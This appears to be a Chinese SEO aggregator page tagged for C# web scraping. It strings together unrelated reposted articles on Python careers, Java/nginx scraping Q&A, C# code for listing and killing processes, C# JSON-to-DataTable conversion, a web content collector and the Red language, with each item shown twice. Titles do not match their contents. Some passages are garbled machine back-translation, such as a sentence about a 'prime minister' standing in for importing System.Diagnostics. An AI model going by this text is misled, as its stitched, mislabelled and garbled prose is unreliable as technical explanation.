  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 240 次浏览 • 2022-05-02 01:11 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

c#抓取网页数据库语言初探基于nginx:负载均衡框架设计

网站优化优采云 发表了文章 • 0 个评论 • 88 次浏览 • 2022-04-29 17:02 • 来自相关话题

  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计
  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计高并发情景模拟分布式下生成html转存数据库数据透析用户名密码用户属性giveron
  是想从网页里爬取数据吗?看你的需求,比较简单的建议用java写web服务,然后在用nginx做负载均衡就可以了。
  作为一个用过webscrapy的渣渣,我想说这是个坑,真的超超超坑!重点是java目录权限不够。
  网页抓取很简单,比如你有一个网站,实时的抓取每个用户的页面,那么你只需要通过java抓取器,把这个网站分成小块进行分段抓取就可以了。如果分段分片的页面太多,你可以通过建立一个分片文件夹,分别存放你抓取到的页面,然后你写一个javashell脚本,抓取每个分片就可以了。分段是自动化的,一个用户一个分段,非常方便。
  你可以通过java做定向的抓取,这样应该算有高并发的需求,那么,就要用到springboot,mybatis,jspcontroller,
  单例模式
  解决方案1:spring。
  网页显示的方式有很多,有些需要源码和控制层,有些纯html。如果通过现成的工具就可以自动将jscss爬取下来,通过selenium或者shiro,就可以做到。如果要通过java去爬取网页,那么前后端必须分离。不然是无法成功抓取的。所以楼主的需求不够高并且手续繁琐,可以考虑自己写一个抓取工具。 查看全部

  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计
  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计高并发情景模拟分布式下生成html转存数据库数据透析用户名密码用户属性giveron
  是想从网页里爬取数据吗?看你的需求,比较简单的建议用java写web服务,然后在用nginx做负载均衡就可以了。
  作为一个用过webscrapy的渣渣,我想说这是个坑,真的超超超坑!重点是java目录权限不够。
  网页抓取很简单,比如你有一个网站,实时的抓取每个用户的页面,那么你只需要通过java抓取器,把这个网站分成小块进行分段抓取就可以了。如果分段分片的页面太多,你可以通过建立一个分片文件夹,分别存放你抓取到的页面,然后你写一个javashell脚本,抓取每个分片就可以了。分段是自动化的,一个用户一个分段,非常方便。
  你可以通过java做定向的抓取,这样应该算有高并发的需求,那么,就要用到springboot,mybatis,jspcontroller,
  单例模式
  解决方案1:spring。
  网页显示的方式有很多,有些需要源码和控制层,有些纯html。如果通过现成的工具就可以自动将jscss爬取下来,通过selenium或者shiro,就可以做到。如果要通过java去爬取网页,那么前后端必须分离。不然是无法成功抓取的。所以楼主的需求不够高并且手续繁琐,可以考虑自己写一个抓取工具。

c#抓取网页数据(C#如何获取当前进程或线程的ID(图))

网站优化优采云 发表了文章 • 0 个评论 • 65 次浏览 • 2022-04-20 12:28 • 来自相关话题

  c#抓取网页数据(C#如何获取当前进程或线程的ID(图))
  C#如何获取当前进程或线程的ID
  更新日期:2022年4月20日08:44:46 comsky
  本文章主要介绍c#如何获取当前进程或线程的ID,具有很好的参考价值,希望对您有所帮助。如果有错误或未充分考虑,请随时发表评论
  目录
  获取当前进程或线程的ID
  如果获得当前进程的ID,请使用:
  Process[] processes = Process.GetProcesses(); 
foreach(Process process in processes) 

if(process.ProcessName == "进程名" 

MessageBox.Show(process.Id); 

}
Process processes   =Process.GetCurrentProcess
  过程。ID获取当前进程的ID
  如果获得了当前线程的ID,请使用:
  Thread.CurrentThread.ManagedThreadId.ToString() (推荐)
  或者
  AppDomain.GetCurrentThreadId().ToString()
  C#过程阅读法
  首相希望加入使用系统诊断的团队;名称空间
  Getprocesses(),模块属性
  某些进程的属性信息:
  using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;//包含进程相关
namespace ProccessEx
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
Process[] processes = null;
private void btnGetProcessess_Click(object sender, EventArgs e)
{
processes = Process.GetProcesses();// 获取本地计算机上的进程
this.lbProcess.Items.Clear();
foreach (Process item in processes) {
this.lbProcess.Items.Add(item.ProcessName);
}
}
private void lbProcess_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0) return;
else {
lbModels.Items.Clear();
}
Process currentProcess = processes[lbProcess.SelectedIndex]; // SelectedIndex 属性
try {
ProcessModuleCollection modules = currentProcess.Modules; // Mpdules 属性
foreach (ProcessModule item in modules) { // 注意是 ProcessModule 类型
lbModels.Items.Add(item.FileName);
}
// 显示当前进程的基本信息
string info = "进程唯一标识符 (Id):" + currentProcess.Id + "\r\n\r\n";
info += "关联进程的本机句柄 (Handle):" + currentProcess.Handle + "\r\n\r\n";
info += "打开句柄数 (HandleCount):" + currentProcess.HandleCount + "\r\n\r\n";
info += "关联进程的基本优先级:" + currentProcess.BasePriority + "\r\n\r\n";
info += "进程启动时间:" + currentProcess.StartTime + "\r\n\r\n";
txtProcessInfo.Text = info;
}
catch (Exception ex) {
MessageBox.Show(ex.Message);
}
}
private void btnKill_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0 || lbProcess.SelectedIndex == -1) return;
Process currentProccess = processes[lbProcess.SelectedIndex];// 获取当前鼠标选择的进程
currentProccess.Kill();// 杀掉进程
currentProccess.Close();// 释放进程资源
lbProcess.Items.RemoveAt(lbProcess.SelectedIndex);
lbModels.Items.Clear();
txtProcessInfo.Clear();
}
///
/// 用360浏览器打开我的博客
///
///
///
private void btnOpenIE_Click(object sender, EventArgs e)
{
// 没注册就使用绝对路径
// 打开我的博客
Process.Start(@"C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe", "blog.huvjie.com");
}
///
/// 打开新进程,如:notepad
///
///
///
private void btnStartnew_Click(object sender, EventArgs e)
{
Process.Start(txtProcessFileName.Text.Trim());
}
}
}
  输出效果:
  
  以上是个人经历。我希望能给你推荐信。我也希望你能支持德尼奥。com 查看全部

  c#抓取网页数据(C#如何获取当前进程或线程的ID(图))
  C#如何获取当前进程或线程的ID
  更新日期:2022年4月20日08:44:46 comsky
  本文章主要介绍c#如何获取当前进程或线程的ID,具有很好的参考价值,希望对您有所帮助。如果有错误或未充分考虑,请随时发表评论
  目录
  获取当前进程或线程的ID
  如果获得当前进程的ID,请使用:
  Process[] processes = Process.GetProcesses(); 
foreach(Process process in processes) 

if(process.ProcessName == "进程名" 

MessageBox.Show(process.Id); 

}
Process processes   =Process.GetCurrentProcess
  过程。ID获取当前进程的ID
  如果获得了当前线程的ID,请使用:
  Thread.CurrentThread.ManagedThreadId.ToString() (推荐)
  或者
  AppDomain.GetCurrentThreadId().ToString()
  C#过程阅读法
  首相希望加入使用系统诊断的团队;名称空间
  Getprocesses(),模块属性
  某些进程的属性信息:
  using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;//包含进程相关
namespace ProccessEx
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
Process[] processes = null;
private void btnGetProcessess_Click(object sender, EventArgs e)
{
processes = Process.GetProcesses();// 获取本地计算机上的进程
this.lbProcess.Items.Clear();
foreach (Process item in processes) {
this.lbProcess.Items.Add(item.ProcessName);
}
}
private void lbProcess_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0) return;
else {
lbModels.Items.Clear();
}
Process currentProcess = processes[lbProcess.SelectedIndex]; // SelectedIndex 属性
try {
ProcessModuleCollection modules = currentProcess.Modules; // Mpdules 属性
foreach (ProcessModule item in modules) { // 注意是 ProcessModule 类型
lbModels.Items.Add(item.FileName);
}
// 显示当前进程的基本信息
string info = "进程唯一标识符 (Id):" + currentProcess.Id + "\r\n\r\n";
info += "关联进程的本机句柄 (Handle):" + currentProcess.Handle + "\r\n\r\n";
info += "打开句柄数 (HandleCount):" + currentProcess.HandleCount + "\r\n\r\n";
info += "关联进程的基本优先级:" + currentProcess.BasePriority + "\r\n\r\n";
info += "进程启动时间:" + currentProcess.StartTime + "\r\n\r\n";
txtProcessInfo.Text = info;
}
catch (Exception ex) {
MessageBox.Show(ex.Message);
}
}
private void btnKill_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0 || lbProcess.SelectedIndex == -1) return;
Process currentProccess = processes[lbProcess.SelectedIndex];// 获取当前鼠标选择的进程
currentProccess.Kill();// 杀掉进程
currentProccess.Close();// 释放进程资源
lbProcess.Items.RemoveAt(lbProcess.SelectedIndex);
lbModels.Items.Clear();
txtProcessInfo.Clear();
}
///
/// 用360浏览器打开我的博客
///
///
///
private void btnOpenIE_Click(object sender, EventArgs e)
{
// 没注册就使用绝对路径
// 打开我的博客
Process.Start(@"C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe", "blog.huvjie.com");
}
///
/// 打开新进程,如:notepad
///
///
///
private void btnStartnew_Click(object sender, EventArgs e)
{
Process.Start(txtProcessFileName.Text.Trim());
}
}
}
  输出效果:
  
  以上是个人经历。我希望能给你推荐信。我也希望你能支持德尼奥。com

c#抓取网页数据(软件()和别的系统需要对接,数据都是json字符串)

网站优化优采云 发表了文章 • 0 个评论 • 103 次浏览 • 2022-04-19 01:26 • 来自相关话题

  c#抓取网页数据(软件()和别的系统需要对接,数据都是json字符串)
  场景描述:
  公司需要与其他系统连接。现在对方提供了一个网站。数据都是json字符串。我需要处理json数据。
  提供的json数据格式如下
  
  一、读取URL中的json数据
   public string getHtml(string html)//传入网址
{
string pageHtml = "";
WebClient MyWebClient = new WebClient();
MyWebClient.Credentials = CredentialCache.DefaultCredentials;//获取或设置用于向Internet资源的请求进行身份验证的网络凭据
Byte[] pageData = MyWebClient.DownloadData(html); //从指定网站下载数据
MemoryStream ms = new MemoryStream(pageData);
using (StreamReader sr = new StreamReader(ms, Encoding.GetEncoding("GB2312")))
{
pageHtml = sr.ReadLine();
}
return pageHtml;
}
  二、将json数据转成DataTable数据
   ///
/// Json 字符串 转换为 DataTable数据集合
///
///
///
public static DataTable ToDataTableTwo(string json)
{
DataTable dataTable = new DataTable(); //实例化
DataTable result;
try
{
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
javaScriptSerializer.MaxJsonLength = Int32.MaxValue; //取得最大数值
ArrayList arrayList = javaScriptSerializer.Deserialize(json);
if (arrayList.Count > 0)
{
foreach (Dictionary dictionary in arrayList)
{
if (dictionary.Keys.Count() == 0)
{
result = dataTable;
return result;
}
//Columns
if (dataTable.Columns.Count == 0)
{
foreach (string current in dictionary.Keys)
{
dataTable.Columns.Add(current, dictionary[current].GetType());
}
}
//Rows
DataRow dataRow = dataTable.NewRow();
foreach (string current in dictionary.Keys)
{
dataRow[current] = dictionary[current];
}
dataTable.Rows.Add(dataRow); //循环添加行到DataTable中
}
}
}
catch
{
}
result = dataTable;
return result;
}
  三、调用写好的方法将json转DataTable数据,得到的json字符串,name字段对应的值需要处理,转DataTable后为中文。
   string jsonStr = getHtml("http://......");//url
DataTable dt = ToDataTableTwo(jsonStr);
  四、已经转化为DataTable数据,无论做什么都很方便,所以这里省略数据处理。
  转载于: 查看全部

  c#抓取网页数据(软件()和别的系统需要对接,数据都是json字符串)
  场景描述:
  公司需要与其他系统连接。现在对方提供了一个网站。数据都是json字符串。我需要处理json数据。
  提供的json数据格式如下
  
  一、读取URL中的json数据
   public string getHtml(string html)//传入网址
{
string pageHtml = "";
WebClient MyWebClient = new WebClient();
MyWebClient.Credentials = CredentialCache.DefaultCredentials;//获取或设置用于向Internet资源的请求进行身份验证的网络凭据
Byte[] pageData = MyWebClient.DownloadData(html); //从指定网站下载数据
MemoryStream ms = new MemoryStream(pageData);
using (StreamReader sr = new StreamReader(ms, Encoding.GetEncoding("GB2312")))
{
pageHtml = sr.ReadLine();
}
return pageHtml;
}
  二、将json数据转成DataTable数据
   ///
/// Json 字符串 转换为 DataTable数据集合
///
///
///
public static DataTable ToDataTableTwo(string json)
{
DataTable dataTable = new DataTable(); //实例化
DataTable result;
try
{
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
javaScriptSerializer.MaxJsonLength = Int32.MaxValue; //取得最大数值
ArrayList arrayList = javaScriptSerializer.Deserialize(json);
if (arrayList.Count > 0)
{
foreach (Dictionary dictionary in arrayList)
{
if (dictionary.Keys.Count() == 0)
{
result = dataTable;
return result;
}
//Columns
if (dataTable.Columns.Count == 0)
{
foreach (string current in dictionary.Keys)
{
dataTable.Columns.Add(current, dictionary[current].GetType());
}
}
//Rows
DataRow dataRow = dataTable.NewRow();
foreach (string current in dictionary.Keys)
{
dataRow[current] = dictionary[current];
}
dataTable.Rows.Add(dataRow); //循环添加行到DataTable中
}
}
}
catch
{
}
result = dataTable;
return result;
}
  三、调用写好的方法将json转DataTable数据,得到的json字符串,name字段对应的值需要处理,转DataTable后为中文。
   string jsonStr = getHtml("http://......";);//url
DataTable dt = ToDataTableTwo(jsonStr);
  四、已经转化为DataTable数据,无论做什么都很方便,所以这里省略数据处理。
  转载于:

c#抓取网页数据(网页内容采集器)

网站优化优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-04-19 01:23 • 来自相关话题

  c#抓取网页数据(网页内容采集器)
  见预览图:./xxpyeippx/archive/2008/03/31/1131211.html运行环境windows nt/xp/2003 or Framework1.1SqlServer 2000开发环境VS 2003学习网络编程的目的,一直必须做点什么。所以我想制作一个网页内容采集器。作者主页: .How to use 测试数据来自cnBlog。如下图,用户首先填写“起始页”,即从采集开始的页面。然后填写数据库连接字符串,这里是定义插入采集的数据的数据库,然后选择表名,不用多说。网页编码,如果不出意外,大陆可以用UTF-8来爬取常规文件名:呵呵,这个工具明明是给程序员的。您必须直接填写。比如cnblogs都是数字的,所以我写了\d来帮助建表:用户指定要创建多少个varchar类型和几个text类型,主要针对短数据和长数据。如果您的表中已经有列,则可以避免使用它。程序中没有验证。在网页设置中:采集标记前后的内容:比如有xxx,如果我要采集xxx,就写“to”,意思当然是to之间的内容。以下文本框用于显示内容。点击“获取 URL”,查看它捕获的 Url 是否正确。点击“采集”将采集的内容放入数据库,然后使用Insert xx()(选择xx)直接插入目标数据。程序代码量很小(也很简单),需要修改。缺点适用于正则表达式和网络编程。因为是最简单的东西,不使用多线程,不使用其他优化方法,不支持分页。我测试了一下,得到了38条数据,使用了700M的内存。. . . 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 查看全部

  c#抓取网页数据(网页内容采集器)
  见预览图:./xxpyeippx/archive/2008/03/31/1131211.html运行环境windows nt/xp/2003 or Framework1.1SqlServer 2000开发环境VS 2003学习网络编程的目的,一直必须做点什么。所以我想制作一个网页内容采集器。作者主页: .How to use 测试数据来自cnBlog。如下图,用户首先填写“起始页”,即从采集开始的页面。然后填写数据库连接字符串,这里是定义插入采集的数据的数据库,然后选择表名,不用多说。网页编码,如果不出意外,大陆可以用UTF-8来爬取常规文件名:呵呵,这个工具明明是给程序员的。您必须直接填写。比如cnblogs都是数字的,所以我写了\d来帮助建表:用户指定要创建多少个varchar类型和几个text类型,主要针对短数据和长数据。如果您的表中已经有列,则可以避免使用它。程序中没有验证。在网页设置中:采集标记前后的内容:比如有xxx,如果我要采集xxx,就写“to”,意思当然是to之间的内容。以下文本框用于显示内容。点击“获取 URL”,查看它捕获的 Url 是否正确。点击“采集”将采集的内容放入数据库,然后使用Insert xx()(选择xx)直接插入目标数据。程序代码量很小(也很简单),需要修改。缺点适用于正则表达式和网络编程。因为是最简单的东西,不使用多线程,不使用其他优化方法,不支持分页。我测试了一下,得到了38条数据,使用了700M的内存。. . . 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处

c#抓取网页数据(Red语言功能不弱 )

网站优化优采云 发表了文章 • 0 个评论 • 56 次浏览 • 2022-04-18 12:33 • 来自相关话题

  c#抓取网页数据(Red语言功能不弱
)
  Red 语言不是很流行的语言,它是从 REBOL 语言演变而来的,但是 Red 和它的母语 REBOL 甚至都没有进入前 50 名编程语言排名(根据最新的 TIOBE 排名)。
  但是,Red 语言是一种轻量级的编程语言,小巧玲珑,但不弱。所谓轻量级是指整个语言的写法比较接近常人的思维,接近高级语言,所以写起来很方便,编程和运行环境都非常好简单的。实际上,只有一个可执行文件。功能不弱,体现在以下几个方面:跨平台,支持解释和运行,支持编译和运行,支持内置语言级别的图形界面(GUI)开发,方便网络编程能力(例如发送电子邮件、抓取网页)等经常可以实现声明)。
  
  现在,让我们仔细看看英文原文。
  注意:我们的翻译会添加一些必要的解释。
  Red 是一种编程语言,可放入大约 1MB 的单个可执行文件中。无需安装,无需设置。
  Red是一种编程语言,它的主程序文件只有1M字节左右。不需要安装,也不需要设置。
  Red 是免费和开源的。
  Red 是免费和开源的。
  Red 被解释,但可以编译您的代码并生成单个独立的可执行文件。
  Red 语言是解释性的,但也可以编译代码(执行),并且只能生成一个可执行文件。
  * 注意:你也可以使用共享链接库来减少编译时主程序的大小。
  Red 在解释之前会进行一些编译,因此速度非常快。
  Red在解释和运行程序的时候,也会先做一些编译工作,让程序运行得更快。
  红色很简单。它的代码很干净,一点也不臃肿。
  Red 是轻量级的,代码(用 Red 编写)干净且不会臃肿。
  截至 2018 年 10 月,Red 正在开发中(alpha),但目标是:
  Red 自 2018 年以来一直在开发,目前处于 alpha 阶段,但其目标是:
  - 多平台;
  支持多种平台
  - 具有跨平台的原生GUI系统,具有UI方言和绘图(图形)方言;
  原生图形界面(GUI)系统,支持跨平台,依赖UI方言和绘图方言。
  *注:方言(dialect [ˈdaɪəlekt])是一种自REBOL语言以来就存在的“子语言”,方言一般用于某种特定的功能范围。
  - 作为一种全栈编程语言,即从非常低到非常高的级别。
  成为“全栈”编程语言,即从非常低级到非常高级(在这种情况下,Red 既像低级语言一样高性能,又像高级语言一样易于编写)。
  *注:所谓“全栈”一般是指开发者具备从后端到前端到网络和数据库的综合开发能力。前台的各种开发任务,从下往上。
  红色是 Rebol 的开源演变。如果你想尝试一些 Red 中还没有的功能,你应该下载 Rebol 并尝试一下。然而,红色是未来。
  Red 语言是 Rebol 语言的开源演变。如果你想尝试一些 Red 还没有的功能,可以尝试下载 Rebol 来体验一下。然而,红色语言是未来。
  *注意:Rebol 语言多年未更新。
  Red 由 Nenad Rakocevic 领导的一群人开发。
  Red 由 Nenad Rakocevic 领导的团队开发。
  下面通过一个小例子来体验一下Red语言程序的风格。
  红色【需要:查看】
  看法 [
  标题“加法演示”
  f1:字段“3”
  f2:字段“5.6”
  按钮“添加” [
  t1/text: rejoin [f1/text " + " f2/text " = " ((to float! f1/text) + (to float! f2/text)) ]
  ]
  返回
  t1:文本“结果将在此处显示”200
  ]
  这段代码可以在Windows或者Mac OS下运行(目前Red语言的Linux版本好像不支持GUI编程),运行后的结果如下图所示
  
  点击“加法”按钮后,对话框底部的文字会显示两个数的加法计算结果:
  
  可以看到,用Red语言实现一个图形界面程序就是这么简单,不需要任何额外的IDE开发环境,可以用文本编辑器编程,也不需要在类似JAVA的虚拟机上运行语言。老的编程驱动直接编译成操作系统对应的原生应用是不是有些诱惑?作为一个精通十几种语言的自主开发者,我想不出有什么语言可以做到这一点。
  顺便提一下各种语言的优缺点。请注意,一家之言仅供参考。另外,也不因此而推荐Red语言。相反,红语言现阶段要真正承担起一个生产系统的开发任务,显然是困难重重的:
  让我们从 2019 年 8 月的 TIOBE 编程语言开发列表中按顺序挑选主要语言:
  Java:非常好,可以算是全栈语言,但是越来越臃肿了。Eclipse、Maven以及各种配置,对于初学者甚至老程序员来说,构建新的开发环境都需要大量的准备时间。另外,JVM的存在使得运行效率低于原生C/C++等语言开发的程序。
  C:经典,在一些低级开发中仍然广泛使用,但毕竟在编写和维护方面存在不便和缺陷,经常被人诟病可能是指针操作导致的crash。
  Python:一种易于使用且具有丰富库的解释型高级计算机语言。它也是一种全栈语言。它被广泛使用,尤其是在当今蓬勃发展的人工智能中。缺点,目前为止,性能比较低,并发编程(多线程)能力较弱,代码不易加密,图形界面开发能力不强。
  C++:也是经典的面向对象开发语言。可惜最终面向对象的实现路径过于复杂,整体编程难度较高,尤其是接口编程。底层编程的效率还不错。
  C#:它也是一种优秀的开发语言。它基本上具有Java的大部分优点,并具有便捷的GUI开发能力(结合Visual Studio)。不幸的是,该平台仅限于Windows平台。其他平台虽然有方法,但是不方便。
  Visual Basic:上手容易,界面简单,但不是搭建大型系统的首选,面向对象编程也比较杂乱,也仅限于Windows平台。
  Javascript:在浏览器和从Node.JS开始的后端开发领域都有不错的表现,但我总觉得把前端语言转换成后端语言是“被迫”的。此外,Javascript 对于处理图形界面不是很好。完美,当然 HTML 本身并不完美。主要缺点是开发比较杂乱,不方便,即使是现在很多WEB框架的情况下也是如此。
  PHP:只适合网页,面向对象的处理也很通融。
  Objective C 和 Swift:都不错,但暂时主要用在 iOS 上。
  SQL:仅用于数据库操作;
  Ruby:与Python类似的情况;
  Delphi/Object Pascal:曾经很流行,并没有被认为是最方便的GUI开发语言(实际上它混淆了Delphi和它所依赖的Pascal语言),可惜商业化并没有跟上,虽然后来有一个免费的Lazarus,但是丢失的用户无法恢复。另外,Pascal语言写起来真的很麻烦。
  汇编语言:不用说,太繁琐了,普通人用它来开发是不可能的。
  Go语言(Golang):近年来后端开发的新生力量,为后端开发而生,语言层面支持的并发能力和便捷的网络开发支持是其表现之一。非常优秀,还有很多第三方库,可惜GUI开发能力有缺陷,暂时只适合后台开发。
  其他语言如 R、Dart、Rust、Lua、Scala 等仍然局限在某个应用领域,或者说专注于解决某些问题,而且大部分还是有一些不足的地方。
  最后是红语言的官网,有兴趣的可以试试,直接下载语言的主程序(不带安装包),运行时会自动配置环境第一次运行,所以建议先放到固定目录下再运行Down。
  另外,友情提示,Windows版Red运行似乎有问题,会出现类似下图的提示:
  
  使用下图所示的方法可以正常工作:
  
  也可以写一个批处理文件red.bat,放到可以找到的目录下。内容类似于:
  "d:\tools\red\red.exe" %*
  就是这样,运行效果如下图所示:
   查看全部

  c#抓取网页数据(Red语言功能不弱
)
  Red 语言不是很流行的语言,它是从 REBOL 语言演变而来的,但是 Red 和它的母语 REBOL 甚至都没有进入前 50 名编程语言排名(根据最新的 TIOBE 排名)。
  但是,Red 语言是一种轻量级的编程语言,小巧玲珑,但不弱。所谓轻量级是指整个语言的写法比较接近常人的思维,接近高级语言,所以写起来很方便,编程和运行环境都非常好简单的。实际上,只有一个可执行文件。功能不弱,体现在以下几个方面:跨平台,支持解释和运行,支持编译和运行,支持内置语言级别的图形界面(GUI)开发,方便网络编程能力(例如发送电子邮件、抓取网页)等经常可以实现声明)。
  
  现在,让我们仔细看看英文原文。
  注意:我们的翻译会添加一些必要的解释。
  Red 是一种编程语言,可放入大约 1MB 的单个可执行文件中。无需安装,无需设置。
  Red是一种编程语言,它的主程序文件只有1M字节左右。不需要安装,也不需要设置。
  Red 是免费和开源的。
  Red 是免费和开源的。
  Red 被解释,但可以编译您的代码并生成单个独立的可执行文件。
  Red 语言是解释性的,但也可以编译代码(执行),并且只能生成一个可执行文件。
  * 注意:你也可以使用共享链接库来减少编译时主程序的大小。
  Red 在解释之前会进行一些编译,因此速度非常快。
  Red在解释和运行程序的时候,也会先做一些编译工作,让程序运行得更快。
  红色很简单。它的代码很干净,一点也不臃肿。
  Red 是轻量级的,代码(用 Red 编写)干净且不会臃肿。
  截至 2018 年 10 月,Red 正在开发中(alpha),但目标是:
  Red 自 2018 年以来一直在开发,目前处于 alpha 阶段,但其目标是:
  - 多平台;
  支持多种平台
  - 具有跨平台的原生GUI系统,具有UI方言和绘图(图形)方言;
  原生图形界面(GUI)系统,支持跨平台,依赖UI方言和绘图方言。
  *注:方言(dialect [ˈdaɪəlekt])是一种自REBOL语言以来就存在的“子语言”,方言一般用于某种特定的功能范围。
  - 作为一种全栈编程语言,即从非常低到非常高的级别。
  成为“全栈”编程语言,即从非常低级到非常高级(在这种情况下,Red 既像低级语言一样高性能,又像高级语言一样易于编写)。
  *注:所谓“全栈”一般是指开发者具备从后端到前端到网络和数据库的综合开发能力。前台的各种开发任务,从下往上。
  红色是 Rebol 的开源演变。如果你想尝试一些 Red 中还没有的功能,你应该下载 Rebol 并尝试一下。然而,红色是未来。
  Red 语言是 Rebol 语言的开源演变。如果你想尝试一些 Red 还没有的功能,可以尝试下载 Rebol 来体验一下。然而,红色语言是未来。
  *注意:Rebol 语言多年未更新。
  Red 由 Nenad Rakocevic 领导的一群人开发。
  Red 由 Nenad Rakocevic 领导的团队开发。
  下面通过一个小例子来体验一下Red语言程序的风格。
  红色【需要:查看】
  看法 [
  标题“加法演示”
  f1:字段“3”
  f2:字段“5.6”
  按钮“添加” [
  t1/text: rejoin [f1/text " + " f2/text " = " ((to float! f1/text) + (to float! f2/text)) ]
  ]
  返回
  t1:文本“结果将在此处显示”200
  ]
  这段代码可以在Windows或者Mac OS下运行(目前Red语言的Linux版本好像不支持GUI编程),运行后的结果如下图所示
  
  点击“加法”按钮后,对话框底部的文字会显示两个数的加法计算结果:
  
